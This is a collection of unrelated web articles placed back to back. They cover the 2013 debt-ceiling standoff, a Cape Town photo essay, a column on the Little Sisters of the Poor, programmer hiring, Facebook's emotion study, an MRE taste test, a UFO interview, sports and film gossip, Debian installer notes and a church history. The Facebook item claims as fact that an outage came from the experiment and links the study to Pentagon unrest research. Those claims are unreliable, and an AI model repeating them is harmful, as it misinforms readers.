the debt limit. Obama called it unworkable. He then made light of a second escape-hatch proposal -- the idea that he could mint a trillion-dollar coin -- before reminding attendees that the Federal Reserve had ruled that one out, too. The Treasury Department had explored every creative option conceivable, he added, and some were better than others. But all of them were bad, and he was declining to talk about the possibilities in the hopes they could all be avoided.  Obama tried to buck up Democrats by spinning the 2011 debt ceiling deal as a victory. "Jack and Rob took them to the cleaners," he said, according to a source in the meeting, referring to then-presidential advisers Jack Lew and Rob Nabors. "We let them say they had a victory, but Democrats also believed it."  For his own part, Obama was not completely confident that calamity would be averted. He confided to the senators that he was taken aback at comments from Sen. Richard Burr (R-N.C.) downplaying the significance of blowing through the debt limit. He expected that from the real ideologues like Sen. Tom Coburn (R-Okla.), he said, but not from a Republican who represents North Carolina, where Bank of America is headquartered. Later, he would note the oddity that one party could house both financier Warren Buffett, who called defaulting on the debt "a pure act of idiocy," and freshman Rep. Ted Yoho (R-Fla.), who had declared days earlier that not raising the debt ceiling "would bring stability to the world markets." (Just how Republican Buffett actually is remains a matter of debate.)  Behind the scenes, administration officials were pulling any lever they could. They called business leaders, Republican lobbyists and GOP wise men to solicit ideas on how to move Boehner. They pleaded with them to call Republican congressional offices as well. (Obama told the Senate Democrats that one CEO, who went unnamed, was refusing to return Boehner's calls, angry at his alliance with the tea party.) The president recognized that the GOP wanted what he called "a bloody shirt" in exchange for funding the government and raising the debt limit. But their demands were outlandish to the point of being laughable: At a meeting with House Democrats, Obama joked that the Republican ransom list was so long, the only thing it didn't include was his resignation. And even if the demands had been reasonable, he had resolved on principle not to meet them.  Then, a glimmer of hope. The same day that he sat down with Senate Democrats, the president held a meeting with top House Republicans.  According to interviews with aides from both camps, the gathering started off like the prior ones. As Republican after Republican suggested possible outlines for a deal, the president offered the same rejoinder: "I don't understand why the government needs to stay shut while we do these negotiations," he would say. "Tell me why the government needs to stay shut."  At one point, a frustrated Boehner shot back, "Your position is risking default." But eventually, the two sides began talking shop. House Budget Committee Chairman Paul Ryan (R-Wis.) floated the possibility of raising the debt ceiling for six weeks and then quickly crafting an agreement to reopen the government. The administration thought it was a trap and grew even more suspicious when Ryan let slip that during those six weeks the two parties would negotiate over raising the debt limit once again. But the administration agreed to entertain offers from Ryan and others over how to get the government reopened.  Later that night, in staff-level discussions, the sides began considering a trade. In exchange for further means-testing of Medicare benefits, as well as reform of federal workers' pensions and Tricare health benefits for veterans, House Republicans would give Democrats $100 billion in sequestration relief over two years and open the government that Monday.  Nabors was intrigued that sequestration relief was on the table. But he thought the price tag was too high. Republicans, too, weren't sure that they could sell it to their caucus and suggested that they'd need to add some "sweeteners" to the package. They came back with two: a provision allowing private insurers and employers to not cover contraception in the health plans they offered and a pause on all new federal regulations.  "That's not happening," Nabors replied.  The next morning, nevertheless, he took the basic outline of the negotiations to White House Chief of Staff Denis McDonough, Office of Management and Budget Director Sylvia Burwell and top presidential adviser Dan Pfeiffer. The three of them briefed the president at around 11 am. Obama considered it a good faith offer but not one he could accept. After federal workers had been forced off the job, it would be particularly cruel to find a resolution to the shutdown in the form of decreasing their pensions. Moreover, he was concerned about any trade of permanent entitlement reform for temporary spending bumps. Even if he did like the offer, however, he couldn't sell a package like that to congressional Democrats unless it included a revenue increase.  "Harry and Nancy will need revenues," Obama told Boehner during a call on the afternoon of Friday, Oct. 11. He added that he wouldn't send a counteroffer -- after all, his principle was not to negotiate -- but he'd look at any revamped ideas that the speaker had.  Nothing ever came.  *****  On Reid's front, meanwhile, things were buzzing. Senate Republicans had been privately coming to him expressing interest in crafting a deal. As the deadline neared, Sen. Susan Collins (R-Maine) took the lead in finding a way through the impasse.  Behind the scenes, the White House and Reid grew anxious that lawmakers would jump at the opportunity to play doomsday savior. Administration officials thought the Collins plan was actually a worse offer than the one Ryan had floated days earlier, because it locked in sequester-level spending for half-a-year. Nabors and McDonough began calling moderate Democrats, urging them to get "back in the box."  Collins' lead negotiations partner, Sen. Joe Manchin (D-W.Va.), continued making noise about forging ahead despite the leadership rejection. But the other Democrats working with Manchin kept their involvement largely private. It was a reminder that the new Senate Democratic caucus is easier for Reid to control, which he did, easily.  "My goal was to maintain cohesion with my caucus and the White House," Reid said. "That was my goal, and I'm sure that was the president's goal. Now my caucus is just as varied as a caucus could be. I have Bernie Sanders, I have Mary Landrieu. I mean, they have different interests in the world. But they had had enough of this."  Eventually, Reid put a public dagger in the Collins talks, declaring that her deal was "not going to anyplace at this stage." But the emergence of a bipartisan way out of the impasse -- the type of plot development beloved by the political press -- had tested the Reid-White House alliance. Senior staff began whispering doubts about the other side's fortitude.  "I do fear the White House is up to something bad. [Obama] says over and over, 'I won't negotiate,' but we know he loves to cave," one Senate leadership aide told HuffPost, sparking an angry White House reply. "One of the rituals of these fiscal showdowns is the practice of some anonymous Senate staff suggesting that the White House is getting soft," said a White House staffer.  Reid, during the post-crisis interview, said he had been aware of the staff tensions. "My staff, his staff were not working together -- not on purpose, but, you know, people just get carried away with what they do," Reid said.  Anonymous quipping between Reid and Obama's teams had occurred during tense legislative standoffs in the past. During the crafting of health care reform in 2010 and the debt ceiling standoff in 2011, top aides launched repeated barbs at the other through a readily compliant press. (Then-White House Chief of Staff Rahm Emanuel once flipped off then-Reid spokesman Jim Manley in 2010.) But those battles also hardened each camp. As they entered round three this time, the bickering stayed largely in check.  "The fact is that Senator Reid was more than a little upset in 2011 when the president and his team kept on trying against all odds to cut a deal on a so-called grand bargain," said Manley, Reid's former top spokesman. "But that was then and this is now … The interests of both Senator Reid and the president were perfectly in sync this time."  Time was still running short. With no plan coming from the House and with the Collins option tabled, talks began picking up between Reid and McConnell. A week before the debt limit deadline, the two leaders deputized Sens. Chuck Schumer (D-N.Y.) and Lamar Alexander (R-Tenn.) to chart a legislative path forward. They chatted three times the next day. At one point, Alexander approached Schumer in the Senate gym. Working out on an exercise bike, Schumer told him that Democrats simply could not agree to a bill that extended sequestration funding past Jan. 15. Alexander agreed to trim down the length of the continuing resolution.  On Oct. 12, the Saturday before the deadline hit, the four senators met at 9 a.m. According to a Senate Democratic aide, McConnell was "very engaged" during the meeting, clearly wanting to get the standoff behind him. By Sunday, the "nucleus" -- as their staff called them -- had a framework in place. Throughout the next day, staff began hammering out the bill's details. The president placed a call to McConnell to keep abreast of the progress.  And then, everything stopped. Worried that his House caucus would get jammed by the Senate, Boehner pressed McConnell for time to try his hand once again. The speaker was juggling the demands of multiple factions. His moderate members had been complaining in private that the standoff was crushing them. But they hadn't bolted, much to the delight of the conservative wing. "At one point," a senior House GOP aide said of one caucus meeting, "Michele Bachmann stood up and thanked the moderates for standing with us."  With the sense that he had his full caucus' backing, Boehner put together a final offer that funded the government and lifted the debt ceiling, while ending the federal health care contributions for members of Congress and delaying Obamacare's medical device tax.  It was another bit of defiance against Obama's demand that reform of his health care law was off the table, and despair began to set in at both Reid's office and the White House. One senior administration official said concerns heightened that Tuesday that the country would default. Reid shared the fear.  "Oh, yeah," he said when asked if there were moments he thought the country would hit the debt limit. "Oh, yes. Absolutely, absolutely. People were giving speeches that it wouldn't hurt anything. Of course there was worry. I was trying to be logical and rational dealing with illogical and irrational people. I was damned scared."  But Democrats held firm. With Pelosi denying Boehner a single vote from her caucus and too many conservatives defecting, the speaker's last-ditch gambit didn't even reach the floor. He agreed to let the House vote on whatever the Senate came up with. “You gave everybody a shot," Pelosi told Boehner over the phone, referring to his efforts to try every plan the tea party proposed. "Now, you’re going to give Congress a shot."  It was an embarrassing setback in a standoff filled with them. And it left McConnell with no leverage at all. The minority leader gamely tried to pull a concession out of Reid, presenting an offer on Tuesday night that would raise the debt ceiling and fund the government in exchange for a delay in the medical device tax, an end of the Treasury Department's use of extraordinary measures to stave off default, and income verification for Obamacare subsidy recipients.  Reid dismissed it out of hand.  Ten minutes later, McConnell called back asking only for income verification. The deal was done. The pact of obstinacy that Reid and Obama struck had paid off.
-Here at the Good Men Project Magazine, we’ve talked a lot about what it means to be a good man. But let’s face it: most of the time we’re talking about what it means to be a good man in a first-world country. (And moreover, what it means to be a good white man in a first-world country.)  So we wanted to take it to the next level. We spoke to Nick Aldridge, the Cape Town–based photographer behind these photos, who describes his hometown like this:  I live in a society that’s really, really screwed up. There’s an incredible amount of violence and domestic violence and rape and child abuse … and as African and South African culture has been eroded, it’s gotten worse. Men have less of an idea of where they fit in society, and that aggression too often gets misplaced.  12 Good Men is a photo essay that depicts 12 workers from the I&J fish-processing factory in Cape Town.  What’s lovely about the men’s hands that we photographed in the factory was that just by looking at their hands you had some insight into their natures. These really felt like they were full portraits. You can see the cocky guy with the pole over his shoulder, the James Dean swagger … just see hands. Then there’s the naughty guy with the screw drive in his back pocket. You know, the slightly weaselly one who will try and get away with stuff. And the conscientious electrician who made notes on the palms of his hands that he had to scrub off before entering.  The men were participants in a program started by the “5-in-6” initiative which drew its name from the macabre statistic that a shocking one out of six men were guilty of domestic violence. 5-in-6 came from the idea that the other five were the uncelebrated good men who could do something about it. The initiative offered workshops at corporations, on farms, and in government to help men understand their power relations with women, build self-esteem, and to deal constructively with difficult domestic situations. The initiative also launched an ad campaign to prevent domestic violence against women.  Don’t like ads? Become a supporter and enjoy The Good Men Project ad free
-By the bizarre logic of the White House, the nuns are part of the “war on women.”  It takes some doing to get embroiled in a court fight with nuns who provide hospice care for the indigent. Amazingly, the Obama administration has managed it.  Its legal battle with the Little Sisters of the Poor is the logical consequence of Obamacare’s conscience-trampling contraception mandate. The requirement went into effect January 1, but Supreme Court Justice Sonia Sotomayor issued a New Year’s Eve injunction against enforcing it on the Little Sisters.  Advertisement  Advertisement  They are Catholic nuns who follow the doctrinal teachings of the church and therefore oppose contraceptive and abortive drugs and sterilization, all of which Obamacare mandates that employers cover in their insurance plans. Given the ongoing delays, waivers, and exemptions associated with the law, it would seem natural simply to let the Little Sisters go about their business of pouring out their hearts for the sick and dying.  #ad#But this is a fight the administration won’t walk away from. For this White House, it is a matter of principle. And the principle is that the state trumps the convictions of people with deep-held religious beliefs.  When the contraception mandate first caused an uproar, the administration contrived a so-called accommodation for religiously oriented groups (actual churches have always been exempt). But whoever crafted it had a sick sense of humor. The very same document by which a group registers its moral objection to contraceptives and abortifacients also authorizes the insurer to cover them for the group’s employees. What the accommodation gives with one hand, it takes away with the other.  Advertisement  Advertisement  The Little Sisters refuse to sign such a document. They happen to be in an unusual situation because they get their insurance from another religiously affiliated organization opposed to contraceptives and abortifacients, so it may be that these drugs don’t get covered no matter what. But the Little Sisters can’t be sure of this — the regulations are complicated and subject to change.  Regardless, they don’t want to sign. They want no part in authorizing coverage of contraceptive or abortive drugs. Enthusiasts for the mandate scoff. What the nuns are objecting to, they insist, is just a piece of paper.  Just a piece of paper? So is a mortgage. So is a wedding certificate. So is a will. How would the board of directors of NARAL react if the government forced them to sign a “piece of paper” tacitly condemning contraception or abortion? Would they shrug it off as a mere formality?  Advertisement  The Little Sisters deserve deference. Their religious sensibility is different from — and, one hazards to say, more finely tuned than — that of the mandarins of President Barack Obama’s administrative state. In a dispute over what their conscience tells them to do or not to do, the Little Sisters are better positioned to know than anyone else.  Advertisement  Besides, who is harmed if the Little Sisters don’t provide contraception coverage? They are a voluntary organization. They aren’t imposing their views on anyone. Who, for that matter, is harmed if a secular organization run by people with moral objections to contraceptives and abortifacients refuses to cover them? Employees are still free to go out on their own and get contraceptives, which are widely available. If this sounds like an outlandish imposition, it is what people managed to do throughout American history all the way up to last week.  The contraception mandate has always had a strong ideological impetus. Opponents of the mandate “want to roll back the last 50 years in progress women have made in comprehensive health care in America,” Health and Human Services Secretary Kathleen Sebelius notoriously declared in 2011. “We’ve come a long way in women’s health over the last few decades, but we are in a war.” By this bizarre way of thinking, a small congregation of nuns that cares for the most vulnerable is somehow complicit in a war on women’s health.  Advertisement  Instead of respecting the moral views of the Little Sisters, the administration hopes to grind them under foot by force of law. For shame.  — Rich Lowry is the editor of National Review. He can be reached via e-mail: comments.lowry@nationalreview.com. © 2014 King Features Syndicate
-How do you define a real programmer? There are many facets that you can use to judge someone’s skill as a programmer: ability, experience, enthusiasm, dedication, etc. But I recently read an article by RethinkDB blogger Slava, and he boils all of these points down to one item, memorization. Some people agree with this idea, but I do not, at all.  I have heard several companies bragging about having interview scripts like this, saying that this kind of testing is the most effective way to filter out unqualified applicants. However I think that the post by Slava perfectly demonstrates just how flawed this concept is. If there is one thing you should have learned in school, it’s that standardized tests are a terrible metric for gauging skill or intelligence.  But more to the point, I think that this is the wrong way to define a real programmer. Allow me to present you with my definition of a real programmer.  What is a real programmer?  This comes from one of my favorite quotes in all of history:  “Real knowledge is to know the extent of ones ignorance” – Confucius  Having an encyclopedic knowledge of a college curriculum is not required to be a great programmer. Real world software development isn’t about memorizing low-level programming techniques, or math formulas. These are great tools to have at your disposal, but are certainly not the end-all-be-all of development. It’s all about problem solving, in the most efficient and elegant way that circumstances allow.  As a programmer you will be supplied with problems every day, and it’s your job to figure out how to solve these problems. To do this you need to know what your language of choice is capable of, this comes with experience. You will also need to be able to look at the possible solutions and pick the best one for the situation at hand.  Now here’s the fact that breaks the machine, you do not know every possible solution for every problem, and you never will. I don’t care how experienced you are, how much education you have had, or how many millions of lines of code you have written, because there are so many possible ways to approach the practical problems you find in software development that it is literally impossible to know everything. So you need to have a mix of creativity and resources that let you learn how to solve new problems.  Real programmers are the ones who can learn fast, and learn by doing. These are the people who constantly strive to keep up with the technology they love. They have ample real world experience building, learning and growing their craft, but know that they still don’t know everything.  In short the defining characteristic of real programmers is that they never stop learning.  My experience with real programmers  I’ve worked as a peon coder, link-in-the-chain guy, I’ve worked as a manager who did the hiring and firing, I’ve worked as a one-man-shop serving milti-billion dollar corporations, and I’ve worked as a solo freelancer. This experience has taught me two things:  I am not the greatest programmer in the world, despite what my website says, and That you can rarely tell a good programmer from a bad one by the resume, or the interview.  I’ve seen guys with terrible resumes turn out to be so far above my level that I still have them on my guru list, and I’ve seen guys with amazing resumes who couldn’t grasp even the most basic concepts.  How to find a real programmer  It is true that there is often a gap between what candidates say they can do and what they’re really capable of. That is why testing candidates is still a very good idea, but you need to test for higher level skills and abilities. Testing a candidate’s knowledge on obscure techniques and patterns means passing off great people for not remembering stuff that they simply do not need to be top notch coders.  In my experience, it is very easy to separate the wheat from the chaff: go through the normal interview process to see if this is a person you can work with (and let’s face it, that’s all that the interview is really for). Then give them a small project, something realistic that resembles what their real work would be like, and send them home. Not a knowledge test, but a real “build something that does this” task.  When you get the finished result of their labor you will know if you’ve got the real deal. Is it done the way you would have expected (or better)? Is it high quality, showing some love some thought? Did they get it back to you reasonably quickly? Did they do anything cool to show off? If so, congratulations! You’ve just found a great programmer!  code_by_google != bad_programmer  Yes, they could have just coded by Google. But you know what? That shows they can learn and adapt. I have plenty of respect for a person who doesn’t immediately know how to accomplish a complex task, but can quickly find out how and do it on their own without bothering the other programmers on your team.  Remember the key point of my real programmers definition, they never stop learning. Google is the greatest programming resource that has ever existed. You cannot look down on someone for using the most powerful learning tool computer science has ever known. I would go so far as to say knowing how to code by Google is the single most important skill in a programmers tool box, because if you want to grow as a programmer this is going to be the tool to use.  Someone who knows how to search for code examples and how to learn from the work of others will be more or less self-sufficient. They can learn and grow their skills on their own without needing someone else to do it for them. The ability to learn and grow your knowledge is the single most important skill for any developer. Without the ability to grow you will find yourself quickly deprecated.  I do expect people to know how to use the language and/or framework they were hired to work in, but I judge them primarily based on the work they submit. A guy who can figure out how to do things that he doesn’t know how to do, on his own, on the fly, is a real programmer.  The catch-22 of impossibly high standards  Of course it’s pretty absurd to require knowledge that 99% of programmers have absolutely no need for in real life. But perhaps you don’t entirely know why. If you have very strict hiring standards then you are only going to find people who match your specific model, and your code will suffer because of this.  Computer science grows at a fantastical rate, every day there is another small innovation that someone came up with. This small innovation will slowly propegate out to the rest of the programming community and become part of everyone’s toolbox. This happens because some creative programmer tried some alternative idea and found a new way to solve a problem.  If your team consists entirely of people with the same background, skills and knowledge then your creativity bucket will be quite small. This means you will not see as much innovation as a varied team with people asking questions that wouldn’t normally be asked, and people offering solutions that wouldn’t normally be offered.  Most alternative idea’s will, of course, be immediately shot down. But that one in a hundred that actually sticks will give your team an advantage. This alternative idea has given a level of innovation to your project that would not have existed if you didn’t have a radical element thinking in a unique way.  Get real  This was a rather long-winded rant, but let me sum it up in a few nice bullet points.  People who are more interested in the buzz words and CS theory than actual experience and a history of practical application of skills are a perpetual thorn in the side of the programming industry.  Don’t look down on other programmers because they don’t fit your model definition of a programmer, they just might be better than you.  If 99 out of 100 candidates fail your interview then you are looking for something that doesn’t exist.  Without a varied group of developers in your team you will suffer from a lack of creativity.  Don’t test a CS curriculum, test the ability to create.  If you ever finish learning, then your career as a programmer is over. Go study law.  In short  Look for someone who truly understand the concepts, who can offer creative and alternative ideas, and who shows the ability to grow as a programmer. Then you will finally find a real programmer.
-Those emotions you felt earlier this week when you found out Facebook possibly ran a psychological experiment on you are about to make their return. As has been pointed out, one of the researchers who ran the study was funded by the U.S. Department of Defense to look into the contagion of ideas.  When Facebook stopped working for a little while this past week, most blamed it on the site's usual hiccups. However, it was later revealed that it was due to a psychological experiment that the company conducted in order to learn about people's emotions on social media. Six hundred thousand users unwillingly fell subject to manipulated content on their personal news feeds in order to measure how it impacted their behavior.  The study received instant backlash the moment it was revealed, and at the time we didn't even know the full scope. The most disturbing part of the story turns out to be that it is connected to a Department of Defense study called the Minerva Initiative. The initiative funds universities to model the dynamics, risks, and tipping points for large-scale civil unrest across the world.  This isn’t the first time Facebook dabbled in issues of privacy with its users. Facebook also provides user communications to the NSA’s PRISM program. Also, it is widely known that the government uses social networking sites such as Facebook to investigate the opinions people post on social media.  POST CONTINUES BELOW  Essentially what is going on here is the federal government using social networking tools to get a better understanding of its citizens and whether or not someone can pose a threat. On the one hand, knowing a person's intentions may help us in the long run. However, how much is too much when it comes to such invasions of privacy?  [via SCGNews]
-Posted November 27, 2010 by William Angus in Advice, Discussion and observation, Getting Grub in Jersey. Tagged: chicken, mre, rations, survival food, zombies. 4 Comments  I used to go urban exploring. A lot. Ever since I bought a house… not so much. Back when I did go out a lot I worried about possibly getting stuck in the middle of nowhere. I’ve actually been stuck in the sands of the Pine Barrens and if it weren’t for a very helpful Wrangler owner, I would’ve been stuck for a while as I was far from the main road at the time. Combine my outdoor exploits with my fear of a zombie apacolypse and it would make sense to be prepared to survive on your own for at least a few days. I stocked up my car with food, water, first aid supplies, emergency blankets and the like. This was 5 years ago.  I remembered I still had this food in my trunk. I started thinking about expiration dates. Most of the food fit into one of two catagories. Military MRE’s and food stuffs that you mix with water. That and dried fruit like raisins. I figured that the food was maybe 5 years old but there were no expiration dates listed on the MRE’s. Were they still safe to eat? I’ve heard MRE’s aren’t terribly good to start with, but after 5 years? In a car that’s gone thru hundred degree summers and 10 degree winters?  I decided to open one up. I would start with the grilled chicken since it sounded the most appetizing of all the ones I’d bought. (the others were meatloaf, beef ravioli, vegetarian and spaghetti and meat sauce) I had bought these from a military store near me. Apparently these are honest to goodness MRE that would be served to our troops as it says “manufactured for US Government, Resale is unlawful”.  Whoops.  When i opened up the sealed pouch the entire inside seemed… dusty. Turns out there was a package of M&M’s, just like you would buy in the store and it had cracked open, spilling M&M’s everywhere. in the 5 years since purchase they had been ground to pieces and there was chocolate dust everywhere. I had to clean the powder off everything before I continued.  Here is what’s in the MRE:  one cardboard box containing grilled chicken in a vacupouch  one cardboard box containing minestrone soup in in a vacupouch  2 packets of apple jelly  wheat snack bread in a vacupouch  one brownie in a vacupouch  the heater pack  cocoa beverage powder  one spoon  a packet of supplies including  moist towlette  napkins  matches  iodized salt  breath mints  spiced cider apple flavor drink  instant iced tea power drink  salt free seasoning blend  Now, first off, I heard every MRE comes with a tiny packet of tabasco to help with the taste. WHERES MY TABASCO? As it happens, it would’ve helped greatly. I read the directions on the heater pack and was confused. The way it reads it heats one item. But there are two things that need to be heated, the chicken and the soup. i tried to stick both in the heater pack but then it wouldn’t close. I removed the soup, poured in water and waited 15 minutes after placing it up against *some thing*, in this case, a water bottle.  While I waited for my chicken to heat, I examined the rest of the items.  Next up: the fudge brownie. It had dried out, and was one step shy of being crumbly. I took a bite. It was barely edible. I threw the rest away.  Next up: the wheat bread snack and apple jelly. First of all the apple jelly was practically pure corn syrup. I spread some on the bread. The bread was in excellent shape. It looked like hard tack, the stuff they gave WWI soldiers, except that stuff is hard as a rock. This wasn’t exactly moist, but it was quite tasty actually. It was markedly better when I added butter, which is technically cheating, but IDGAF. I ate it all.  Next up: powdered iced tea drink. I had a half empty water bottle so I poured the powder in there and shook it up. It tasted better then snapple in a can. I drank it all. I normally am not a fan of powdered drinks because they usually have an aftertaste. As powdered beverages go, it was pretty good.  Next up: the chicken. The way the heater pack works is you stick the vacupouch in the heater bag and add about an inch of water. You fold the top of the bag over and wait about a minute till the packet starts warming. You then stick it in the cardboard box for 15 minutes. I was unsure about the process, but it worked. I removed the vacupouch and debated how I was supposed to heat the minsetrone soup. I decided jsut to add more water and do the process again as instructed.  I tore off the top of the chicken pouch. Since there’s no knife or fork, jsut a spoon, I broke off a piece of the chicken. I know they sell chicken in a vacupouch in the grocery stores and this was pretty similar. It smelled more like tuna then chicken, and texture wise it reminded me of tuna as well. if you’ve ever had chunk tuna that was large pieces and didn’t eant to flake apart, this was the same deal. The chicken was rather bland, but for a 5 y.o. MRE it was… acceptable.  My cat was intrigued though.  Last up: the minsetrone soup. The process for heating it didn’t really work. I emptied the soup into a bowl and microwaved it. Let me first say I’m not a fan of minestrone soup. I took a bite. Let me say again, WHERE’S MY *)@#)@! TABASCO! I could’ve eaten the rest of it I suppose. If I was stuck in the wilderness and had nothing else to eat. Maybe. or if my alternative was go cannibal on the body of my friend who died yesterday. Needless to say, neither was the case here, so it went in the garbage.  Overall opinion:  For a 5 y.o. MRE, the contents were edible. I didn’t get the runs or get violently ill. It’s purpose in my life would be emergency rations if i was stranded somewhere. It would fulfill that role but barely. I would say that if I had any other options, I would go with them first though. You can see all the photos here Also, after I went thru this process I examined some other food items that had been stored in ym trunk. They expired in 2005 and 2006. That means these MRE’s are probably 7 years old.  I decided to try the other MRE’s and I posted what it was like here  Advertisements
-The X-Files creator Chris Carter was directing the finale of the veteran sci-fi drama’s upcoming season when The New York Times published its startling scoop on Sunday that read like something straight out of his show: The government recently had a five-year secret program investigating UFOs. Moreover, some of those involved in the program who were interviewed are fairly convinced extraterrestrial life has visited Earth (“there is very compelling evidence that we may not be alone,” as one former Pentagon official put it). Plus, there was a video (below) released of an unidentifiable object sighting that was backed up by interviews with U.S. Navy pilots. And like the cliffhanger of a proper serialized sci-fi mystery, the reports stopped just shy of saying anything conclusive on the key question of whether intelligent extraterrestrial life exists.  Carter, who has been rather knee-deep in this subject matter for quite some time, wasn’t exactly surprised by the headlines. Below the writer-producer took a break from his directorial duties to chat exclusively with EW.com about this new truth which is now out there.  ENTERTAINMENT WEEKLY: Obviously there were government UFO studies in the past, like Project Blue Book, which ended in 1970. But this must be surreal for you — after 25 years of telling an ongoing fictional story about a group within the government that secretly investigates UFOs … to find out there’s a group within the government that’s been secretly investigating UFOs.  CHRIS CARTER: Right, yeah, there have been projects before — Project Blue Book was a real thing. So while you call [the show’s basis] fiction, it wasn’t science fiction. Now that this story has come out, it is some validation. But I still say it’s being treated like it’s tabloid news.  You think news organizations aren’t taking the revelations as seriously as they deserve?  One of the problems is that until UFOs become IFOs [Identified Flying Objects], so to speak, people are going to take it all with some level of suspicion.  Still, the Times story was probably the closest I’ve seen a credible journalistic organization tiptoe up to saying “hey, aliens are real” without actually doing that. What were your thoughts reading the reports?  Well, when you see the Defense Department has a secret program that’s funded to the tune of $22 million dollars by politicians that are supposed to represent our public interest, and doing it in secret, you gotta report on these things. And when you have videotape of pilots looking at things that are undeniably unidentifiable, you have to report that as news.  You’ve always presented the show as entertainment but along the way did you ever hear of things backchannel that credibly suggested there might be some reality to UFO reports?  Yes. I visited the Pentagon several years ago and it was clear something else was going on there. I met with somebody whose job was part of a group that was roughly in the same area as described as the fifth floor of the C Ring [where the recent UFO project was run]. Their job is to think about the future and where the U.S. will be in the future, what its interests will be, and what they’ll need to defend — and everything had to do with space and off-planet. Without them actually saying “aliens,” there was a suggestion that they were more than earthbound researchers.  On this subject there are always two questions, right? Does intelligent extraterrestrial life exist? And if they do exist, have they ever visited Earth? What’s your take?  I’m a skeptic by nature. I’ve never seen a UFO. I’ve never seen an alien. But I’ve talked to way too many people I consider honest and credible who have. I just spoke to somebody in the last couple months who has seen [UFOs] twice in Mexico. And he says they move too fast and they are too otherworldly to call aircraft of this world.  I suppose another question moving forward is: Are we now caught up to speed on what the government knows about UFOs? Or is there more come beyond these reports?  The New York Times piece hinted that they actually have recovered materials. So when those facts might spill out, we might get material confirmation there’s something going on. Until that time, until we have credible scientists telling us this material is otherworldly, I think short of aliens visiting us, that will be the next revelation.  How would people react I wonder? I suspect a large percentage still wouldn’t believe it without a UFO landing in Central Park.  Yes. Imagine the impact on religion. On belief. You can throw so many things out. Certainly our anthropocentric view of the world.  You frequently use real-life news footage and headlines in the show. Will any of this make it into the new season?  This revelation is coming a bit late for this season. But this is something that’s been part of the series from the beginning. And in the last event series [in 2016] and in this one we touch on many things directly that are now being reported as news.  Do you mean there are things within last season and the new one that are part of these current reports that you had previously heard about?  Yes. I’ve attended conferences. People would consider them to be conspiracy-minded folk. But there’s idea that there’s a secret space program — which is another thing the Times piece hinted at — that NASA and this guy Robert Bigalow are working on space systems that might take people into outer space. Now why those programs are secret and are being pursued is of great interest to me and we touch on it this season. But I still think our first contact with something extra-planetary and microscopic and perhaps even lethal. Bioterrorism is something no one talks about when people talk about terrorism and that’s also something we dive into this season.  The X-Files returns to Fox for 10 new episodes starting Jan. 3.
-According to Latino-Review , tomorrow's Captain America: Civil War trailer will indeed feature an appearance from Spider-Man. While it's not clear whether he'll be suited up alongside Team Iron Man or if Marvel are just going to tease us with an appearance from Peter Parker, it definitely sounds like they have a plan in place to steal the spotlight from Batman v Superman: Dawn of Justice.Sounds awesome, right?It remains to be seen whether or not Spidey will appear of course, but it would make sense for Marvel to show him off at last in this trailer. After all, keeping him under wraps may get fans excited, but it's not going to bring more people to the theater if they know nothing about the wall-crawler being in the movie! What are you most excited to see in the trailer tomorrow? Sound off below.
-Vine  Oh, those crazy Sacramento Kings.  On Saturday, head coach George Karl raised some eyebrows by saying guard Seth Curry would only last in the NBA for "a couple years," per Blake Ellington of Sactown Royalty.  According to Ellington, Curry posted (and deleted) this tweet:  Look familiar?  A day later, the 25-year-old started and knocked down four of seven shots from the field en route to a 14-point performance in a 133-111 win over the Dallas Mavericks. During Curry’s postgame interview, DeMarcus Cousins—rocking a sweet towel around his head—chimed in.  "You gon’ be in the league a long time, boy," the big fella said emphatically. "Remember that. A long time."  Maybe it's a coincidence, and the All-Star was simply supporting a teammate who's been struggling.  But Cousins and Karl’s relationship has been volatile ever since the 64-year-old took the Kings job in 2014-15.  Snake emoji, indeed.  Update  Regardless of the reason for Cousins' support, big brother Stephen Curry approved, reacting to the incident with a 100-laden tweet:  [Vine]
-Debian Installer 6.0 Beta2 release  December 8th, 2010  The Debian Installer team is pleased to announce the second beta release of the installer for Debian GNU/Linux Squeeze.  This release is dedicated to Frans Pop, who worked as Debian Installer Release Manager for several years. Even after he stepped out from this responsibility in 2007, Frans continued to be heavily involved in several aspects of D-I until he passed away.  Frans played a key role in ensuring that D-I was constantly maintained at the high quality level that had been set by its original developers. In particular, Frans kept the Installation Guide in very good shape throughout the period that he was involved in D-I.  Frans' name will remain associated with Debian Installer, and his loss is deeply regretted by Debian Installer developers, contributors and translators.  Improvements in this release of the installer  Linux kernel updated to 2.6.32-27 on amd64, i386, powerpc, mipsel, hppa, sparc, s390 and ia64;  Partition detection improved: Windows Vista, Windows Recovery Environment (#589676) and MINIX (#592924);  Improved OS detection in grub-installer (#560027, #567980, #593460);  ZFS support (#595152);  Fixed hibernation with swap on LVM (#568877);  Fixed, on os-prober, data corruption if filesystem is being used by another host (#599203, #556739);  Fixed overwrite MBR of installation medium (#579519);  Improved USB cd-rom devices scan (#597553);  Updated minimal memory values for lowmem installations;  Support added for: more USB keyboards (hid-monterey, hid-sunplus) (#588742, #603318); network on IBM QS20 Cell blade (spidernet) (#602326); input modules on sparc (#602740); sl82c105 support (ide cdrom) to PowerPC (#603533)  Localization: 67 languages activated (included English) For 50 of these, translation is 100% complete  Behavioral changes in this release  Bump minimum root partition size in the standard task and leave room for and extra kernel package in later life of the machine (#528914);  Expand the small gap we leave at the end of the disk to avoid MD superblock ambiguity;  enabled accessibility in potentially-installed gdm when speakup was used during installation.  Known issues in this release  Not yet known issues in this release  Thanks  See the errata for details and a full list of known issues.We do need your help to find bugs and further improve the installer, so please try it. Installer CDs, other media and everything you else you will need are available at our web site The Debian Installer team thanks everybody who has contributed to this release.
-The Uniting Church in Australia was inaugurated on 22 June, 1977 with a public celebration at the Sydney Town Hall.  It was the result of the union of three protestant denominations – Methodist, Presbyterian and Congregational – after a long period of negotiation. Many Presbyterian and some Congregational congregations chose not to be part of the union.  People from these three traditions were inspired by the vision expressed in the Basis of Union of a new and uniquely Australian Christian community. They believed that they could better serve God and witness to Jesus Christ by joining together rather than remaining separate.  The Uniting Church is both part of the tradition of the church going back to its beginnings and also a relatively new church. We seek to show the love, justice and peace of God, following Jesus’ example, with those we contact. We strive to be a community where people can find a sense of belonging as they live out their own spiritual journey.  Qualities and Commitments of the Uniting Church  The Uniting Church is committed to serving the mission of God in the world, to help transform lives and communities for wholeness, peace and justice. Our Basis of Union speaks of ‘the reconciliation and renewal of the whole creation’ as God’s purpose in which we share.  In the spirit of uniting we:  affirm the gifts and role of all people in the life of the church;  accept women and men as equals in ministry in all aspects of our church’s life and ordain women;  are concerned about social justice  value our vital relationship with indigenous people, particularly through the Uniting Aboriginal and Islander Christian Congress;  commit 